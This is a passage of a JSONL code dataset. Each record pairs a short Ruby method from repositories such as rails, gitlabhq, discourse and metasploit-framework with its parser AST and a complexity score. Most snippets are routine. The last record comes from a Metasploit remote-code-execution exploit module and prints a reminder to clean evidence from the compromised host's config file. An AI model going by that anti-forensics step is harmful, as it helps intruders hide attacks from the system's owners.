[{\"type\":\"lvar\",\"children\":[\"order\"]},\"order_promotions\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"update_totals\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"persist_totals\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"restart_checkout_flow\"]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]}]}","id":"1cab8942-2d55-4e67-8846-a7c9829009c4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tenant.rb","start_line":88,"raw_source":"def all_subtenants\n    self.class.descendants_of(self).where(:divisible => true)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_subtenants\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"descendants_of\",{\"type\":\"self\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"divisible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"0b3815a4-e28a-4fae-b93e-eaf123543ae1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/reviewable/actions.rb","start_line":9,"raw_source":"def initialize(reviewable, guardian, args = nil)\n      super(reviewable, guardian, args)\n      @bundles = []\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewable\"]},{\"type\":\"arg\",\"children\":[\"guardian\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bundles\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"2542ef3a-d446-4903-b5cc-bd7e2be89460"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/quoting_test.rb","start_line":33,"raw_source":"@conn.extend(Module.new { def logger; end })","complexity_score":4.4,"ast_json":"{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"extend\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},null]}]}]}","id":"5bff250f-4053-4c72-87b2-729ef01e6ee3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/reporter.rb","start_line":83,"raw_source":"def error_outside_of_examples\n      @errors_outside_of_examples_count += 1\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"error_outside_of_examples\",{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@errors_outside_of_examples_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"c51be61c-436c-4708-bbdf-4751769c9cf3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/notes_finder.rb","start_line":158,"raw_source":"def search(notes)\n    query = @params[:search]\n    return notes unless query\n\n    notes.search(query)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"search\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}","id":"f73adfcb-a01e-4a77-8ebe-c6325886ec25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet_blob.rb","start_line":28,"raw_source":"def data\n    snippet.content\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"content\"]}]}","id":"fc59ba90-0bb4-48cf-a260-ba7a5fa60669"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":786,"raw_source":"def auto_canceled?\n      canceled? && auto_canceled_by_id?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auto_canceled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"canceled?\"]},{\"type\":\"send\",\"children\":[null,\"auto_canceled_by_id?\"]}]}]}","id":"c639dbec-0273-4b3e-9cd4-f156e62daa10"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/tracker.rb","start_line":24,"raw_source":"def test_method_lookup_default_type\n    parse_class\n    assert @tracker.find_method(:boo, :Example)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_lookup_default_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_class\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"find_method\",{\"type\":\"sym\",\"children\":[\"boo\"]},{\"type\":\"sym\",\"children\":[\"Example\"]}]}]}]}]}","id":"680b010e-9c6b-42c1-9ed7-88424102d4b5"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/error.rb","start_line":183,"raw_source":"def strict_match?(attribute, type, **options)\n      return false unless match?(attribute, type)\n\n      options == @options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"strict_match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CALLBACKS_OPTIONS\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"MESSAGE_OPTIONS\"]}]}]}]}]}]}]}","id":"d00a5124-b22a-4221-9e64-dc0e74f9c287"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ftp.rb","start_line":362,"raw_source":"def ftp_timeout\n    (datastore['FTPTimeout'] || 10).to_i\n  end","complexity_score":5.33,"ast_json":"{\"type\":\"def\",\"children\":[\"ftp_timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FTPTimeout\"]}]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_i\"]}]}","id":"3f02fd19-bc03-43f2-b674-b6fbf43e7163"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/commit_trailers_spec_helper.rb","start_line":19,"raw_source":"def expect_to_have_links_with_url_and_avatar(doc, url, email)\n    expect(doc).not_to be_nil\n    expect(doc.xpath(\"a[position()<3 and @href='#{url}']\").size).to eq 2\n    expect(doc.xpath(\"a[position()=3 and @href='mailto:#{CGI.escape_html(email)}']\").size).to eq 1\n    expect(doc.css('img').size).to eq 1\n  end","complexity_score":25.45,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_to_have_links_with_url_and_avatar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"doc\"]},{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a[position()<3 and @href='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"size\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a[position()=3 and @href='mailto:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape_html\",{\"type\":\"lvar\",\"children\":[\"email\"]}]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"size\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"img\"]}]},\"size\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"55a754b4-3a6e-4fa3-b93e-fa206858e909"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/search_controller.rb","start_line":41,"raw_source":"def index\n    if @tokens.any?\n      @results, @results_count = search_results(@tokens)\n\n      if search_params[:previous].nil?\n        limit_results_first_page\n      else\n        limit_results_subsequent_page\n      end\n    end\n\n    render \"index\", locals: { menu_name: project_or_global_menu }\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tokens\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@results\"]},{\"type\":\"ivasgn\",\"children\":[\"@results_count\"]}]},{\"type\":\"send\",\"children\":[null,\"search_results\",{\"type\":\"ivar\",\"children\":[\"@tokens\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"previous\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"limit_results_first_page\"]},{\"type\":\"send\",\"children\":[null,\"limit_results_subsequent_page\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"menu_name\"]},{\"type\":\"send\",\"children\":[null,\"project_or_global_menu\"]}]}]}]}]}]}]}]}","id":"33d21b59-a447-420a-a94c-2ead2ff8ebcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":715,"raw_source":"def project_studio_enabled?\n        enabled?(ENV[\"QA_PROJECT_STUDIO\"], default: false)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_studio_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enabled?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QA_PROJECT_STUDIO\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"26890a19-6dcd-44a8-95f0-5eae5ca6dd50"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/formatter.rb","start_line":45,"raw_source":"def path(method_name)\n          raise ActionController::UrlGenerationError.new(message, routes, name, method_name)\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"UrlGenerationError\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"message\"]},{\"type\":\"send\",\"children\":[null,\"routes\"]},{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]}","id":"1a9b2d9f-dc88-4f90-8e46-6f55cdd7e577"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":497,"raw_source":"def able_to_see_forks_count?(project, user)\n    project.forking_enabled? && can?(user, :read_code, project)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"able_to_see_forks_count?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"forking_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"read_code\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"75486f7f-0255-44af-a1ec-36aacf64e200"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/import.rb","start_line":61,"raw_source":"def remove_attached_file\n    file.purge_later\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_attached_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"purge_later\"]}]}","id":"2e9acde8-e5ed-4410-a892-5b3d66f7bf7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_files.rb","start_line":60,"raw_source":"def update_stats!(batch)\n        self.total_found += batch.artifact_files.count\n        self.total_cleaned += batch.lost_and_found.count\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_stats!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_found\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"artifact_files\"]},\"count\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_cleaned\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"lost_and_found\"]},\"count\"]}]}]}]}","id":"4186863a-267b-4e1c-8ee2-b0f0919d34cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/import_export/import_service.rb","start_line":16,"raw_source":"def async_execute\n        group_import_state = GroupImportState.safe_find_or_create_by!(group: group, user: current_user)\n        jid = GroupImportWorker.with_status.perform_async(current_user.id, group.id)\n\n        if jid.present?\n          group_import_state.update!(jid: jid)\n        else\n          group_import_state.fail_op('Failed to schedule import job')\n\n          false\n        end\n      end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"async_execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_import_state\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupImportState\"]},\"safe_find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupImportWorker\"]},\"with_status\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jid\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_import_state\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jid\"]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_import_state\"]},\"fail_op\",{\"type\":\"str\",\"children\":[\"Failed to schedule import job\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"1a872420-fd71-4a6d-9629-5ec5c95748f3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/emoji_helper.rb","start_line":4,"raw_source":"def emoji_codes_to_img(str)\n    raw(Emoji.codes_to_img(str))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"emoji_codes_to_img\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[null,\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Emoji\"]},\"codes_to_img\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}","id":"ed8819ca-8f91-4be6-82db-07cdfebcc7d5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":1072,"raw_source":"def test_extra_keys_not_first\n    set.draw do\n      ActionDispatch.deprecator.silence do\n        get \":controller/:action/:id.:format\"\n        get \":controller/:action/:id\"\n      end\n    end\n    extras = set.extra_keys(controller: \"foo\", action: \"bar\", id: 15, this: \"hello\", that: \"world\")\n    assert_equal %w(that this), extras.map(&:to_s).sort\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_extra_keys_not_first\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id.:format\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extras\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\"]},\"extra_keys\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"this\"]},{\"type\":\"str\",\"children\":[\"hello\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"that\"]},{\"type\":\"str\",\"children\":[\"world\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"that\"]},{\"type\":\"str\",\"children\":[\"this\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"sort\"]}]}]}]}","id":"3fca4e95-13ba-4970-9a5e-10335cfa4c77"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_web_hook_event_serializer.rb","start_line":16,"raw_source":"def request_url\n    object.web_hook.payload_url\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"request_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"web_hook\"]},\"payload_url\"]}]}","id":"862100f6-639c-4d52-b7a2-e1cd26290f99"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/projects/snippets_resolver_spec.rb","start_line":119,"raw_source":"def resolve_snippets(args: {}, context: { current_user: current_user }, obj: project)\n    resolve(described_class, obj: obj, args: args, ctx: context)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_snippets\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}","id":"ed3e5935-785b-4891-91ef-549220ce9939"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/pastebin_onebox.rb","start_line":24,"raw_source":"def truncated?\n        lines.size > MAX_LINES\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"truncated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lines\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_LINES\"]}]}]}","id":"44f5da7a-3521-49fa-8b15-9d2e0f7d076d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/expand_variables.rb","start_line":9,"raw_source":"def expand(value, variables, expand_file_refs: true, fail_on_masked: false)\n      replace_with(value, variables) do |collection, last_match|\n        match_or_blank_value(\n          collection, last_match, expand_file_refs: expand_file_refs, fail_on_masked: fail_on_masked\n        )\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expand\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"variables\"]},{\"type\":\"kwoptarg\",\"children\":[\"expand_file_refs\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"fail_on_masked\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replace_with\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"variables\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"last_match\"]}]},{\"type\":\"send\",\"children\":[null,\"match_or_blank_value\",{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"last_match\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expand_file_refs\"]},{\"type\":\"lvar\",\"children\":[\"expand_file_refs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail_on_masked\"]},{\"type\":\"lvar\",\"children\":[\"fail_on_masked\"]}]}]}]}]}]}","id":"5551ad35-1052-4e2b-ad38-d6b269c4f35f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/auto_filtered_parameters.rb","start_line":28,"raw_source":"def attribute_was_declared(klass, attribute)\n          if collecting?\n            collect_for_later(klass, attribute)\n          else\n            apply_filter(klass, attribute)\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_was_declared\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collecting?\"]},{\"type\":\"send\",\"children\":[null,\"collect_for_later\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_filter\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"261cfe90-4edc-463f-b291-0827efea7642"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb","start_line":200,"raw_source":"def on_new_session(client)\n    super\n    print_good(\"!!!Don't forget to clean evidence from #{datastore['CONF']}!!!\")\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"!!!Don't forget to clean evidence from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONF\"]}]}]},{\"type\":\"str\",\"children\":[\"!!!\"]}]}]}]}]}","id":"82341a93-e7c0-46ab-90ca-d5a44dba5b42"}
